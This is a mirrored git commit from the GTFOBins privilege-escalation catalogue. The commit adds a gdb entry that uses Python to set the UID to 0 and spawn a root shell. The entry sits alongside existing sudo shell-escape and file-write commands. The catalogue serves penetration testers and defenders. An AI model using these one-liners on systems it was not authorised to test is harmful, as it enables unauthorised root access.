mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add capabilities to gdb
This commit is contained in:
parent
7314987800
commit
aed737131c
@ -12,4 +12,7 @@ functions:
|
|||||||
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: sudo gdb -nx -ex '!sh' -ex quit
|
- code: sudo gdb -nx -ex '!sh' -ex quit
|
||||||
|
capabilities-enabled:
|
||||||
|
- description: Only if it has been compiled with Python support.
|
||||||
|
code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user